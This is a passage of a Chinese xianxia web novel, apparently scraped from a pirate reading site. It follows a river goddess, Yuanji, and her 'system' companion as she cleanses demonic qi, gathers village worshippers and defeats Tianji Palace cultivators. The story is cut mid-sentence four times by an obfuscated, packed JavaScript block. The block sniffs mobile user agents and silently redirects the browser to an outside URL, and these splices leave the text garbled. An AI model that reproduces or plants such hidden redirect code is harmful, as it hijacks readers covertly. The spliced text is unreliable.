p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078514|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉没有将后半句话说出来,全都表现在他脸上了。 “妖孽,你们定是一伙的,在我们面前演戏呢!”东方华记得族中曾有长辈被魔气侵染,为保持理智和家族荣耀自曝身亡,这人怎么可能这么轻松就化解了魔气。 他将手中的长剑对准元吉,“师兄,莫要与她多费口舌,直接动手吧!” 东方华向来是个急性子,不等林朗星说话便提剑朝着元吉刺来。 电光火石间,大汉猛地冲向元吉挡在他的前侧,全然不顾这剑的威力。 “噌!” 长剑飞出不过半丈便被从天而降的青剑打飞出去。元吉抬手,纤长的指尖轻轻在空中一转。 落叶停滞在半空,氤氲的雾气不再流转,可怖的气息笼罩下来,所有人都像是被一双无形的大手紧紧压住,只觉呼吸困难。 “啧。”元吉咋舌,眼中闪过一丝不耐,“你这人。” “可真烦啊。” 东方华心跳得极快,喉咙紧仄,终于后知后觉害怕涌上心头。 元吉收回视线,一抬手,东方华如同断了线的风筝飞了出去,一连撞倒三四棵树才堪堪停下。 元吉转头看向那几人,林朗星等人捂着心口强忍着没有将口中的血吐出来,他们动作整齐划一,齐齐后退半步,捏碎藏于掌心的传送符箓消失在了原地。 甚至十分贴心地将昏死过去的东方华拖走,同门情谊倒也深重。 打不过打不过。 还是先逃命吧! 元吉:…… 阿统躲在元吉暗暗咽了口唾沫,从一开始的欲言又止,逐渐变成满脸绝望。 “说好的每个宿主刚开始都是没有记忆没有性格,全靠系统塑造的呢!” “自己的懵懂宿主绝不可能这么酷炫这么拽,一定是今天启动的步骤不对,等下重新启动看看!” 阿统暗戳戳扒拉着商店系统,试图从里头找出点“启蒙读物”来。 而元吉倒也没心思追逐那群逃跑的家伙多因为,她饿了。 她动用了太多次原身的力量,那力量虽然霸道强悍却储存不多,这会早就消耗得差不多了。 元吉按了按隐隐作痛的腹部,抬头看着云端中隐隐约约的那个人形,只觉烦躁得很。 眉间未蹙,虽未言语,周遭的气压低得让人心悸。 “又来一个?” 元吉偏头躲过迎面而来的风刃,飞扬的发丝在空中勾勒出一道漂亮的弧线。再抬眸,漆黑的眸子中闪过一丝狐疑。 她好像闻到一股很好吃的味道,清凉寒冽却带着一丝香甜,像是高山雪莲上那滴晨露。凝于朝霞之下,裹挟着雪莲的出尘。 云雾散去。 元吉便瞧见一位身姿颀长,气质清冷如玉一般的男子立于云端。 本是清润如玉的的形象,不知怎么的元吉脑海中兀得出现了一块香甜的白玉糕。 元吉抿了抿嘴角,眼神紧随着对方的身影。 他闻起来很好吃的样子。 只可惜,那男子凤眸冷冷一瞥,并未打算与她“切磋”一番。衣袂翩飞,御飞而去。 元吉颇感遗憾,回过头去。猛得对上四双热切的亮晶晶的眸子。 元吉:…… 别看我,我也没吃的! 5. 第五章 第五章 “河神大人。” 那群人一走,大汉最先反应过来,拉着宝儿来到元吉面前,语气中带着极致的恭敬。 他刚才就觉得“河神”这个称呼耳熟,想了半天才想起来,他爹曾和他说过。 在很久很久以前,这个世界还是存在着神的,不是现在的所谓修真者,而是真正在的神。真正的能够普渡众人,心存天下的神。而河神掌管着河流,而人们通过祭祀供奉河神以祈求水利兴旺。 可不知怎么的,神成了一种传说,取而代之的是现在的各种修行之人。 大汉心中虽有疑惑,可当看到这人出现在忘川河畔且能轻而易举地驱散魔气,即便这人说她是自己的祖宗他也信! “祖,咳!河神大人!”大汉扑通跪在元吉面前,“求河神大人救救宝儿,只要河神大人能救她,即便是要我做牛做马都可以!” 被突然吓了一跳的元吉:“……” 阿统看着她默默回味了一番大汉的话,又按了按自己有些刺痛的胃部,倒吸一口凉气赶忙阻止。 “元吉,做牛做马的意思是他愿意成为你的手下,不是让你把他当做牛马吃了!” “哦。”元吉顿了顿应道,语气中带着一丝的遗憾。 真可惜。 阿统松了口气,暗自庆幸幸好自己反应快,避免了一出惨剧发生。 元吉的目光落到大汉身后的宝儿身上,后者懵懵懂懂地看了她一眼,嘴里发出“嗬嗬”的声音。 大汉见状,担心她因为那几人的污蔑误会,赶忙解释起来。 “刚才那群人说的都不是真的,我们没有主动伤害过任何人……” 大汉目光逐渐变得幽远起来,好像回到了最初的时候。 原来这大汉原叫乌伯山,是乌村一名木匠,一辈子靠着种地做木活为生,老实本分,就算是丢到人群中也不显眼。 乌村的人一提到乌伯山,一是夸他的做的东西精巧耐用,二便是赞他疼婆娘。 乌伯山的婆娘方明珠家境贫寒,比他大上七八岁,样貌平平。 可乌伯山却从不嫌弃这同村人口中的“老姑娘”,甚至喜欢喊她“宝儿”。乌伯山做木活,方明珠便在一旁织布;乌伯山下地干活,方明珠便在家中做好吃食等他回来…… 两人的生活虽然普通却也幸福。 可在十年前的五月初四,一切都变了。 方明珠上山采果子,不知道是哪里来的一团魔气将她给包裹了起来,如何都挣不脱。待到魔气入体,方明珠便成了这副不人不鬼的模样。 见宝儿久久不回,乌伯山上山去寻,整整三天才从一个山洞中寻到特意躲藏起来的方明珠。 乌伯山只一眼便将她给认了出来,心疼不已的他带着宝儿去看病。可山下的凡人见了,无一不是四散而逃。 乌伯山只得带着方明珠藏进深山中,以食野菜野果为生,一来以免方明珠被魔气控制时伤人,二来也避免他人伤害方明珠。 直到一名修士路过他们那,一眼便道出这是魔气入体。他提出可以帮助方明珠祛除周身的魔气,让乌伯山去准备一副祭天用的牲畜。 乌伯山满心欢喜,将传家的玉佩卖了换回要用的鸡鸭,可待他准备好一切回去后才发现,那位乐于助人的修士事看上了方明珠魔气入体的躯体,打算将她炼制成自己的傀儡。 烈火灼身,魂魄被拘。方明珠惨叫连连,乌伯山跪在地上,在一声声的哀求中,他的额头已经磕破鲜血直流,乌伯山也感觉不到痛苦,只求对方能放过。 可那名高高在上的修士只是鄙夷地看了他一眼道,“我将这魔物炼化是为民除害,你该感谢我才是。” 再抬头,乌伯山脸上流出了两行血泪,他心如死灰地走进烈火中抱住方明珠,试图用最后一点力量去守护他的宝儿。 这时,意外出现了。 方明珠身上的魔气暴涨,法术失灵的反噬一下就让那名修士失去了生命。 乌伯山沉默良久,终是在良心驱动下让那人入土为安。安置好那名修士,乌伯山便带着方明珠出发去寻找治疗的方法。 白天他在城里替人做活赚取路费,顺便打听哪里也发生过这样的事;晚上便带着方明珠在山里赶路。 他打听到有几处村落也发生过天降魔气将人侵染成妖魔,可当他费劲千辛赶去时,只见遍地残骸尸骨。终是那些魔人发狂灭了全村。 一次两次三次……乌伯山渐渐失去耐心,而方明珠也被侵蚀得越来越厉害。原先还能清醒许久藏在山里,可渐渐的,她的意识在消失,不受控制的去伤害别人。 无奈之下,乌伯山只得打造一副铁链将她拴住。可又怕铁链寒凉,他又赶去买了最柔软的丝绸裹在上头。 “我只是想给她治病。”乌伯山的话音渐渐弱了下去,看着身后眼神浑浊的宝儿,他扯出一抹笑来。褶皱的眼纹渐渐被水晕湿。 “可那群修士非说是宝儿杀的那群人!” “我们赶路花了无数的时间,而那群修士消息比我们灵通,速度又比我们快。”乌伯山顿了顿,语气发狠,“他们只是找个借口想杀了我们!都是些冠冕堂皇之人!” 元吉目光深邃,落到人身上像是能穿透身躯直达灵魂深处,看透其隐藏的真相。 乌伯山颤抖一下,又很快鼓起勇气直起身。他心底隐隐有个声音告诉他,这次真的会有人帮助他们。 阿统从两人身侧飘回,吸了吸鼻子,“元吉,我刚才回溯了一下他们的过去。他没有说谎。” 元吉点头思索一瞬,就当乌伯山以为河神不会帮自己眼神逐渐黯淡时,她淡淡道:“我可以帮你。” 乌伯山猛地抬头,眸子极亮。 元吉又道,“但是,有条件。” 毫无情绪的话音让乌伯山的心凉了一半。半晌后,他深吸一口气,“不知河神大人的条件是什么。” 不远处的栾郁栾萱兄妹俩也屏住了呼吸,静待元吉说出她的条件。 栾萱攥着她哥哥的袖子,默默咽了口口水,如果那个条件他们能做到,他们是不是也有机会? 元吉开口,“帮我找更多这样的人来。” 话音刚落,乌伯山的脸上便闪过一丝迷茫,可很快他便反应过来,呆呆地瞧着元吉,不知道是哭还是笑。 传说中的神是爱世人的,而面前的河神为了即便是提出条件也是为了帮助更多的人。 这一刻,乌伯山心定下来了,先前残留的一分怀疑荡然无存。 他瞧着元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078515|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吉,头顶的太阳非常的耀眼,光芒万丈。 她就是河神大人,心系世人的神。 “好,河神大人。”乌伯山抹了把脸,郑重保证。 面对突然要哭的乌伯山,元吉叹了口气。 怎么现在的人都这么爱哭? 她看了眼一脸欣慰的阿统,认真怀疑这癖好是不是会传染,随后默默往旁边挪了半步。 “往前来些。”元吉将火种召唤出来,吸收了瓶中的魔气,种子已经变得饱满了许多,散发的光热也比先前强烈许多。 乌伯山拉着宝儿凑近,“宝儿来。” 元吉抬起手,纤长的指许久没有经过阳光的照射,变得格外的白皙。在黝黑的魔气映衬下,隐隐透着光亮。 她刚靠近方明珠,后者身上的魔气停滞一瞬后像是闻到了香味的恶犬,疯一般涌向元吉。 魔气快速抽离出方明珠的身体,比人还高些的魔气团兀得出现,争先恐后地去触碰元吉的指尖,远远瞧去,倒像是位虔诚的信徒。 乌伯山被吓得后退半步,然后迅速反应过来伸手虚虚地挡在方明珠身后,以便随时能接住她。 元吉的发梢被气流吹动,她神情不变,定定地看着指尖的火种藏匿在一团魔气中疯狂吞噬能量的模样稍稍松了口气。 若是光靠她本身的能量去喂养恐怕还喂不饱这个大胃王,若是真如乌伯山所言,她接下来倒是不用愁火种口粮的问题了。 漆黑的魔气逐渐消失,眼前的方明珠露出骨瘦如柴的本身来。 元吉指着乌伯山怀中的瓶子示意他将里头的生机喂给方明珠,“喝下它。过几天,就好了。” 乌伯山感受着宝儿久违的温热的身躯,千万的感谢堵在喉间不知先说什么好。最终他选择再次虔诚的给元吉磕了个头,用最为淳朴的方式表达自己的谢意。 从今往后,他便是河神大人的人! 与此同时,沉寂许久的电子音再次响起。 【恭喜宿主完成限时任务:拥有三名信徒。现发放奖励10点神力值,当前神力值10。】 “咦,三名!”阿统惊呼一声,“先前那两个人身上也检测到了信仰值。” 阿统内心十分自豪,不愧是我看上的宿主,就是这般有魅力。 而它不知道的是,从栾郁栾萱角度来看,元吉一把揪出了附着在方明珠身上的魔气,像是捏鸡蛋似的轻而易举将其摧毁了。 栾萱捂着自己的脖子,默默吞了口唾沫。 不知道是该庆幸她先前没像处理魔气一样处理自己,还是该庆幸他们好像真的遇到了个很厉害的人。 喜悦的情绪在乌伯山与方明珠两人之间蔓延开来,清醒过来的方明珠恢复成了当初温婉的妇人模样。 她想勾起嘴角用笑意去安抚自己的丈夫,可还是有滚烫的泪珠划过双颊。 “伯山,我回来了。” 方明珠还保留着先前的记忆,面对着给她新生的元吉,她也同她的丈夫般心怀敬意。 “河神大人,前面不远处是我和我丈夫前些日子落脚的地方,时间也不早了,若是不嫌弃,就让我为您做些吃食吧。” 元吉也不骄矜,跟着她往前面的宅子走去,越走近,却发现前面的魔气越浓郁了起来。 6. 第六章 第六章 元吉一行人还没走近,就见前方葱郁的林中冒出源源不断的浓烟。层层叠叠的黑烟迎风而上,瞬间编织出张巨大的网笼罩着下方的树林。 “好浓郁的魔气。”栾郁喃喃一句,与栾萱对视一眼快递朝着元吉方面奔去将人拦下 “河神大人千万别靠近了!” 栾萱停下步伐,气息有些紊乱,“前面的魔气这么浓郁,应该是有魔界的魔兽跑了上来发狂,这会过去,怕是容易受伤!” 边说着说她脑海中不断浮现出他们族人被发狂的魔兽撕咬的可怖画面,脸色又白了一分。 他们虽然是妖,能力不弱,可一些刚开智修行的小妖对上没有理智的魔兽却还是讨不到什么好处。 对这两兄妹的出现,元吉倒是有些诧异,她还以为这两人还要悄摸跟一会。 她微微颔首,并不打算撤退。前方有股好闻的味道,像是先前闻到的白玉糕。 元吉眼神暗了暗,脑海中浮现刚才出现的那抹身影。 “无妨。” 对上栾郁欲言又止的眼神,元吉想了想,宽慰一声,“魔兽发狂,或许只是饿了。” 众人:…… 在几人敬佩而又复杂的目光中,元吉的步伐快了些,不多时便离那团魔气越发近了。 阵阵呜咽声从一破旧的房屋中传出,一缕缕的魔气从断垣残壁外泄,盘绕而上形成了方才所见的黑烟。 方明珠搂着乌伯山的胳膊,先前的种种景象在脑海中快速闪现,她眸光紧紧盯着,整个人僵硬万分迈不动步伐。 “伯山,河神大人,要不,要不我们走吧。” “河神大人,我们真的要进去吗?”栾郁拧着眉,在掌心凝成一把银蓝色的长弓,上头缀着无数晶亮的珠宝,看起来华贵之极。 阿统飘在前头很快又回来了,“元吉,你想的没错。前面只有一只发狂的妖兽魔兽,还有好几个附近的村民。” “村民?”元吉愣神,没想到这荒芜,环境又如此恶劣的地方居然还能有村民。 元吉一时间神情有些古怪,“你没看到一个……” “什么?”阿统不解。 “没事。走吧。”元吉将话收了回去,抬步超前走去。 身后几人面面相觑一眼,咬咬牙跟了上去。 刚走近些,众人皆被眼前的画面所震慑到,齐齐倒吸一口凉气。 栾萱身体一颤,颤巍巍地躲在哥哥身后,这会倒真像是个乖巧的女娃,小声撒娇。 “哥哥,我眼睛有点困了,我闭上一会会哦。” “好。”栾郁安抚性地揉了揉她的发髻,余光却见身侧的元吉眸子一亮,像是瞧见了什么珍宝似的,不由得佩服。 不愧是河神大人,临危不惧。 不怪元吉激动,这眼前的魔兽不过是比普通山猪大些罢了,想来味道也不会差。 按了按饿得有些发痛的腹部,元吉望向发狂魔兽的眼神多了些爱怜。 可别动了,要是累瘦了可不好。 “吼!” 魔兽闻到陌生的气味顿时仰天长啸一声,加快速度冲向屋内的一扇倒在地上的破门。它扬起前蹄,整个身子直直竖起,蓄足全部的力量向下倒去。 没人注意到,在这扇破门下,是五六双浑浊带着惊恐的眼神。 魔兽的身影透过破门上的小洞,凝成一道巨大的黑影向他们袭来,像是道巨斧即将向他们劈来。 几人眼底的光芒熄灭了,燕枯强忍着瑟瑟,将身侧的人拥入怀中,闭上眼静待痛苦袭来。 “轰!” 巨大的响声从头顶传来,细细碎碎的木屑草根石头渣从上头坠落砸在头上。 预想中的疼痛却迟迟没有传来,反倒是有股隐隐约约的肉香。 燕枯咽了口唾沫,他已经许久没尝过肉味了,这一定死前的幻想吧。 叹了口气,他颤巍巍地睁开眼,瞧着眼前的画面,他整个人猛地一抖。 干裂的嘴唇开开合合却没能发出任何的响声,燕枯不敢置信地拍着同伴的身体,示意他们抬头看去。 目光一动不动紧紧盯着面前的身影,好半晌才道出一句。 “河,河神!河神显灵了!” “快看!” “河神大人显灵了!” 一声盖过一声的呼唤,从开始的发懵到最后的振奋,燕枯站起身,一双眸子极亮,就连身上的伤口都不疼了。 他就说,迟早有天河神大人会显灵的! “真的吗?”与他同村的几人一起抬头望去,果真瞧见个身形同村中供奉的河神画像十分相似的少女。似乎就在这一瞬间,他们确认了这人肯定就是河神,而不是任何一个修士。 一时间,巨大的喜悦在人群中蔓延开来。众人洗去面对死亡的恐惧,转换为对希望的向往。 “真的是河神!” “河神来救我们了!” “我们有救了!” 与此同时,元吉发觉身后几人皆是张着嘴巴里头能塞的下一个鸡蛋的模样,想了想了然点头。 “确实很香啊。” 元吉的记忆中曾有雏鸟长大嘴巴等待母亲的喂养的画面,因此她自然而然将这几人同雏鸟的表现联系起来,得出结论。 “怪不得他们也饿了。” 指尖的火种邀功似的跳跃两下,微弱的光焰散发出淡金色的光芒,与刚才那一瞬间将发狂的魔兽烤得焦香酥脆的火种判若两种。 阿统看看元吉,又低头看看那枚夺取它带领元吉统一世界梦想的火种,又看看元吉,一时间有些恍惚。 好像哪里有些不对劲但是又说不上来。 等等! 阿统咽了咽口水,望着火种的眸子轻颤两下。那个火种是它知道的那个火种吗?元吉做了什么让这个普普通通的火种变得如此……恐怖? 在隐隐约约到越发浓郁的肉香味中,周遭紧张的氛围荡然无存,甚至还有点悠闲? 栾萱的肚子率先坦然地叫唤一声,她羞赧地红着脸从栾郁的身后探出头来,“哥哥,好香啊。” 接二连三的吞咽味此起彼伏,闹得众人莫不是抬头看天便是低头转手指。谁能想到紧张刺激的一场恶战会变得如此……诱人。 真不愧是河神大人。 元吉上前一步,示意乌伯山来同自己一起搬这个魔兽去干净的地方再处理下。虽然熟的差不多了,但细细闻去还是会有些腥味,还得再处理下。 倘若让乌伯山一人面对这魔兽他定是两股战战不敢上前,可转念想到有河神大人在场,他立马壮着胆子将袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078516|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子撸起,露出精瘦有力的胳膊来。 一人高的魔兽虽已失去生机,可想要将它挪个地还是得费些劲。 乌伯山摩拳擦掌,刚将这魔兽抬起一些,就瞧见它底下的木板露出六双亮晶晶的眸子。 乌伯山倒吸一口凉气,差点没叫出声来:…… 吓死他了。 “河神大人,这里有人!”待仔细分辨一通后,乌伯山赶忙唤人来帮忙。 底下几人听到上头有人喊“河神”,当即其中一名老人浑浊的眸子漾出了泪痕。“真的是河神大人,我们将河神大人等回来了!” 方明珠等人听到乌伯山的话赶忙前去帮忙,不多时就将这六名伤痕累累,骨瘦嶙峋的村民给拉了上来。 这些村民都是附近燕村的村名,他们世代供奉着河神。村中曾有一预言,有一天,河神大人会从天而降带领他们过上幸福美满安定的生活。因此,燕村在这修葺了河神庙,每年都会到这来祭拜河神。 就在几柱香之前,以燕枯为首的村民按照村中习俗来到河神庙给河神供上祭品以求河神保佑他们能丰收不受妖魔侵扰。 可没想到他们刚将村中仅存的一点粮食摆放到供桌上,外头便冲进来了一只发狂的魔兽。 燕枯早年间出门游历,有所修为,想尽一切办法保护着村里人。可发狂的魔兽实在是可怖,即便是将他拼劲全力也是一身伤只能带着村民躲到地窖之中。 幸好,他们等到河神显灵了! “河神大人!” 几位村名谢过拉他们出来的乌伯山后,一个个目光灼灼地盯着元吉,深情呼唤。 一身的鸡皮疙瘩,元吉摸了摸有些发毛的颈部,点头应下。 几人又是一阵惊呼,那位老者甚至对着元吉潸然泪下。“呜呜,河神大人……您终于来了……” 呆在原地不知所措的元吉:……? 怎么说的我像是个,负心汉? 你们,感情好充沛。 燕枯率先走到元吉面前,恭恭敬敬行了个礼。大致将事情的来龙去脉向众人解释一番后,他发觉元吉的目光总是落在香气四溢的烤魔兽身上,便自告奋勇。 “河神大人,小人会做些吃食算是能拿得出手,若是河神大人不嫌弃,小人愿意为河神大人将这魔兽做成佳肴。” 元吉顶着燕枯一脸慈爱的目光,木着脸点点头。“好。” 燕枯的话还真没说错,他从自己的空间戒中取出好几个瓶瓶罐罐,撒上香料,浇上蜜汁,果木炭火熏制……不多时,本就香气四溢的魔兽香味更甚了一些。 几人围坐在火堆旁,静静看着燕枯行云流水的操作,时不时发出阵阵吞咽声。 而元吉也想瞧瞧,可她看着那群目不转睛望着自己,生怕自己消失不见的村民,一时间无力扶额。 她好像遇到了奇怪的人。 【叮:恭喜宿主解锁河神庙,现在开启信仰值积攒池。信仰值与宿主自身能力相关,请宿主积极收集信仰值。】 【当前信仰值:100】 元吉:? 信仰值? 还没等阿统为元吉进行解说,就听到庙外传来一阵嘈杂的响声。 “长老,方才那妖孽就在里面!” “我们快些进去杀了她为师兄报仇!” 7. 第七章 第七章 “妖孽!还不束手就擒!” 洪亮的声音从门外传来,带着年岁的沉淀,震落屋檐上的枯草,惊得人心中一颤。 几位村民捂着心口,下意识地将头垂下视线紧紧粘着鞋面,生怕自己的目光会惊扰到“仙人”惹来无妄之灾。旋即又反应过来,他们现在可是有河神的人! 他们一改往日的胆怯,鼓起个胆子紧盯着门口,手中串着烤肉的树枝化成长枪成了最好的武器。 若是来者对河神大人言语有所冒犯,他们一定和他们拼命。 “咳。”燕枯清了清嗓子,举起手中香气四溢地烤肉,“河神大人,那些人……” 他的话还没说完,元吉接过燕枯手中的肉串,有些狐疑地望着他。“你……烤得不错。” 受到夸奖地燕枯瞬间瞬间将想说的话抛到脑后,腼腆地低下头去,“河神大人过奖了,是河神大人眼光好,挑得这魔兽也十分适合,肉质紧实,肥而不腻。” 燕枯这话不错。 这只魔兽不知是什么天赋,不仅肉质精瘦,连体型都比旁的山猪胖了一圈,燕枯将它分给众人后还有许多,油脂香气裹挟着清爽的果木香,不显半分油腻。 冲进门打算决一死战报仇,却被扑面来的烤肉给香懵的众修士:……? 那你们还挺谦虚。 寒石长老清了清嗓子,朗声怒喝,试图拉回所有人的注意力,“妖孽!” “妖孽?”元吉偏了偏头,看着来者,又低头打量手中的烤肉,面带疑惑,“它?” 为首的寒石长老涨红了脸,这一定是在羞辱他们! 果然是个祸害! “妖孽!休要装傻。”寒石长老抽出一叠符纸,上面熟悉的气息同方才的符箓格外相似。 元吉瞬间就明白了,面色一沉。 “这是打了小的来了老的啊。”阿统飘在身侧咋舌。 寒石长老带领一些弟子在附近祛除妖邪,结果收到了宗门弟子的求救消息。等他带人赶到时,只见一片狼藉。 幸好他们有留影镜,能够回溯当时发生的事情。查看半天后发现这人打伤了门内弟子。 这可是伤了天极宫的脸面,若是叫人知道自己宗门弟子被一不知名女娃打得落荒而逃,他们的脸往哪搁! 他立马带领弟子一路追寻踪迹,结果却看到了满天的黑气,正当他们准备将那发狂为害人间的魔兽一起给收服时,那些邪气竟然顿时消失了。 寒石同几名弟子面面相觑,一时间表情更为凝重了。 那打伤门内弟子的人和那邪气爆发的地方是在同一个地方,加上刚才这人的话。 所以,那人竟然还畜养魔兽!! 方明珠看到天极宫的人,当即也明白了,她停下分发烤肉的动作,扯了扯乌伯山的袖子,小声嘀咕,“这些人不会是来找河神大人的麻烦吧。” 乌伯山拍了拍她的掌心安抚,随后看向元吉等待她的命令。 不待元吉说什么,面前的燕枯瞥见他们腰间的令牌,当即明白这几人是天极宫的,那个修真界第一宗门。他神情有些紧张,“河神大人这些是天极宫的人,我们是不是先避一下?” “避?”元吉看了燕枯一眼,“没必要。” “好大的口气。”寒石身后的一名弟子义愤填膺,“妖孽你伤了东方师兄,还不束手就擒。” 元吉顿默一瞬,有些无奈,“这话耳熟,好像在哪听过。” 元吉:“你们也是天极宫的?” 寒石长老打量她一圈并未从她身上发现修为,当即便放下心来捋了捋胡子,颇为自豪,“自然。” 元吉颔首,“那就行。” 元吉纤长的指尖在身侧绕了个圈,一道白光一闪而过。看起来极为轻松的动作,可不知为什么,寒石心下惴惴不安,有什么东西从他的身体里消失了。 寒石长老不明就以:? 怎么和他想的不太一样。罢了,多说无益,还是自己早点将这妖孽收服,免得她再起祸患。 寒石两指夹住黄符,抵在嘴边小声念咒,信誓旦旦地盯着眼前不知天高地厚的小女娃,让她好好看看天极宫的实力。 “起!” 随着他念咒结束,指尖的符箓上的朱砂闪出一道耀眼金光,黄符直奔元吉而去。 带着股强大的压迫感,可比前面东方华的符箓威力强多了。 “遭了,这是天极宗元婴期的长老,寒石!”栾郁一见到这符箓,就认出来了。 这寒石自身的修为并不十分强盛,可他的一手符箓连宗门掌门都得给他留三分脸面。他的独门“请神符”可让传闻中的“神”分出一丝神力附在自己身上来增加自己的修为实力,那的威力可不容小觑,“河神大人小心!” 可谁都没想到,那气势汹汹啥气十足的黄符刚被寒石抛出,便像是被卸了力一般,轻飘飘,如同一片枯叶,晃晃悠悠地在空中荡了起来,然后“啪叽”一声被拍在了地上。 “噗!”不知是谁没忍住笑出了声。 被拂了面子,寒石的脸色沉得吓人。他恶狠狠地剜了一眼那人,伸手在怀中一掏,重新拿了张符箓出来。 “去!” 片刻后,再一次的,黄符被无形的气拍到了地上,整整齐齐并排在元吉面前。 元吉:……? “可恶!”寒石在心下咒骂一声,余光瞥见弟子疑惑的神色,霎时整个人像是被点燃了火星子一样,他恶狠狠地蹬着自己弟子,“慌什么!” “看来是不动真格不行了!”寒石的声音低沉可怖。 乌伯山将方明珠护在身后,栾郁也一同将栾萱挡得严严实实的,一群人皆是一副紧张大气都不敢喘的模样。 元吉看了眼面前的寒石,慢条斯理地抬手,上头赫然摆放着一块栗子糕。 这栗子糕被村民小心翼翼地摆出宝塔般的模样,但被妖兽一阵乱轰早就从案桌上滚落下来,淡黄色地糕点上粘了好几根枯草。 元吉也不嫌弃,捻去枯草,淡淡的栗子味粘上她的指尖。 一定放了很多糖。 元吉轻搓指尖,蓦地想起先前闻到的白玉糕的香甜味来,那块点心一定刚刚好。 她叹了口气,有些遗憾。抬眸望向寒石地目光便染了几分冷意。 寒石心下一怵。奇怪了,这人明明没修为啊? 他冷哼一声,捏紧了手中的符咒,“受死吧!” 快速将咒语念完,寒石勾起嘴角,他已经可以预想到这几个害怕惊恐的模样了。 内心的喜悦还没维持多久,便从符箓飞出去,“啪”地一如既往地被拍在地上后,破碎了。 “不,不可能!”寒石长老磕磕巴巴,瞪大眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078517|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛不敢置信地盯着那整整齐齐被拍在地上的符箓,原先顺滑的胡子也变得乱糟糟,“这是怎么一回事。妖孽你耍了什么诡计!我不信!拿符箓来!” 身后的几名弟子赶忙将手中的符箓递到他面前,“长老,给!” 七八叠符箓被他抢过,寒石魔怔了一般一张张地将手中的符箓朝元吉扔过来。 “火云符!” “冰弹符!” “奔雷符!” “缚灵符!” …… 元吉木着脸,看着面前一张纸整整齐齐地在自己面前表演自由落地的符箓,额角抽了抽。 怎么感觉怪怪的。 “啧。这人好固执。”阿统叹气摇摇头,毫不留情补刀道,“不知道的还以为套圈,哪个套到你就显灵?” 元吉挑眉,从阿统话语中捕捉到了一个陌生的词汇。 虽不知道是什么意思,但看起来不是什么好东西。 元吉偏头,拍了拍手上残留的栗子糕的碎渣,看够了热闹,那就有些吵了。 她低下头去,在面前几十张符箓上快速扫过一眼,明晃晃的一堆符箓让人看得眼花缭乱。元吉的耐心不多,揉了揉眉心,随意伸手一抬。 地上的符箓“唰”地全部从立了起来,齐刷刷地排列在她的面前,一副任君挑选的模样。 寒石一口血憋在心头:……? 这怎么回事? 众人也被这阵仗唬了一跳,齐齐吞了口唾沫,心底有个念头,接下来的画面一定会是他们从未见过的。 果不其然,只见元吉百无聊赖地从众多符箓中选了一张。 “就这个吧。”勾勾指,那张“缚灵咒”立马迸发出刺眼的光芒,而后化成一道灵力将面前天极宗的人绑了个结结实实。 寒石长老及其弟子:……?!跑偏了吧!绑错人了呀! 燕枯:……不用念咒? 乌伯山、方明珠:……? 栾郁、栾萱:……? 倒是身后的不明真相的村民眼前一亮,放下手里的树杈子围到元吉身后疯狂称赞。 “河神大人真厉害!” “真不愧是河神大人,又一次保护了我们!” “用敌人的武器制服敌人,河神大人真不愧是真神!” 五六名村民真情实感地夸赞起来,每多说一句,前面天极宫的人脸便黑上一分。 燕枯虽然很想附和几句,但是想想还是将话咽了回去,然后默默从自己的怀中掏出一根据说即便是元婴期修士也挣脱不了的绳索,为“缚灵咒”加固一圈。 要是符箓失灵了,也不怕这几人暴起伤人。 众人:……? 不愧是你,细心周到! 见状栾郁不动神色走到几人旁边,从怀中掏出一瓶“软筋散”对着撒了下去,再加上他的一份力,更保险。 寒石及其弟子:……? 元吉将面前几人的动作看在眼里,神情复杂。沉思片刻后微微点头,也不知道是悟到了什么,倒让身侧的阿统一时间心惊肉跳。 再次感受到河神大人威力的村民受到鼓舞,围在一起小声嘀咕一圈后,其中最为年长的老者率先出声。 “既然河神大人已经现世,那这河神庙的修葺也该放上日程了。” 【叮!触发隐藏奖励:河神庙一座。】 8. 第八章 第八章 “奖励、河神庙?” “不会就是这个吧。” 元吉看着眼前破破烂烂的河神庙,杂草丛生,经过刚才发狂魔兽的摧残更是一片狼藉,沉默了。 阿统轻咳一声,安慰道:“虽然破,但是说明今晚我们有地方住了呀!” 元吉:……那是不是还得谢谢你,你们系统人还怪好呢。 身后的几人没听到元吉和系统的交谈,他们听了老者的话,不约而同抬头向上看去。已经褪色的“河神庙”三字上布满了蛛网,一阵风吹过便摇摇欲坠,让人不免担心它会随时掉落。 几人缄默一瞬,默默点头,确实是该修修了。 